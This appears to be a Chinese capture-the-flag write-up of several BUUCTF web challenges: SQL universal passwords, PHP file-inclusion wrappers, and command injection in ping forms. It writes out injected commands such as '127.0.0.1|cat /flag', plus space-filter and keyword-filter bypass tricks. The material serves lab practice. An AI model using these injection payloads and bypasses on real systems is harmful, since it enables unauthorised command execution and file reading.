1.极客大挑战2019 easysql
密码或者用户输入万能密码即可
关于万能密码的理解和原理,可以参考这篇BUUCTF[极客大挑战 2019] EasySQL 1_[极客大挑战 2019]easysql 1-CSDN博客
2.极客大挑战2019 have fun
题目源码
需要构造payload
网页传参可参考:
Web 页面之间传递参数的几种方法_web页面之间的传递数据方式-CSDN博客
3.ACTF2020新生赛include1
php伪协议,第一种就是先尝试php://input,发现被过滤了
使用:
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
http://网络路径和文件名
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
尝试php://filter,发现成功了,然后用工具进行base64解码
发现file=flag.php
改一下payload
解码后得到flag
4.[ACTF2020 新生赛]Exec1
输入127.0.0.1后
输入127.0.0.1| ls未发现flag,于是从根目录开始找
输入127.0.0.1| ls/,发现了flag目录
读取flag内容,输入127.0.0.1|cat /flag
找到flag为
flag{2c00cb0e-6281-4979-a47a-41b03905b4ce}
5.[GXYCTF2019]Ping Ping Ping
输入?ip=1270.0.1,有回显
输入127.0.0.1 |ls,出现如下界面
输入127.0.0.1;ls ,发现了flag.php
下一步抓取flag
可能是其中的空格被过滤了
依旧报错,还是有元素被过滤了
尝试了好几个代替空格的方式,结果都被过滤了
输入127.0.0.1;cat$IFS$index.php,结果如下
过滤了flag
考虑把flag.php换位base64编码后的,flag.php编码后为 ZmxhZy5waHA=
还是不行,发现是方式不对,不能直接将编码后的base64码直接放到后面
过滤了的元素现在就一目了然了
运用一个简单的传参避开flag的隐藏
6.[SUCTF 2019]EasySQL
必备知识
1、命令联合执行
; 前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果)
|| 当前面的执行出错时(为假)执行后面的
& 将任务置于后台执行
&& 前面的语句为假则直接出错,后面的也不执行,前面只能为真
%0a (换行)
%0d (回车)
2、命令绕过空格
当我们执行系统命令时,不免会遇到空格,如cat flag.txt,当空格被程序过滤时,便需要利用以下字符尝试代替绕过: ${IFS}$ $IFS$ %09 等等
即: cat<flag.php
cat${IFS}flag.php
cat$IFS$9flag.php
3、变量拼接
比如我们想执行 cat flag.php但对方过滤了flag字符串
如:preg_match("/.*f.*l.*a.*g.*/", $ip)这个的意思是匹配到按flag这个顺序的所有字符
那么我们就可以利用变量拼接绕过:
?a=g;cat fla$a.php即可。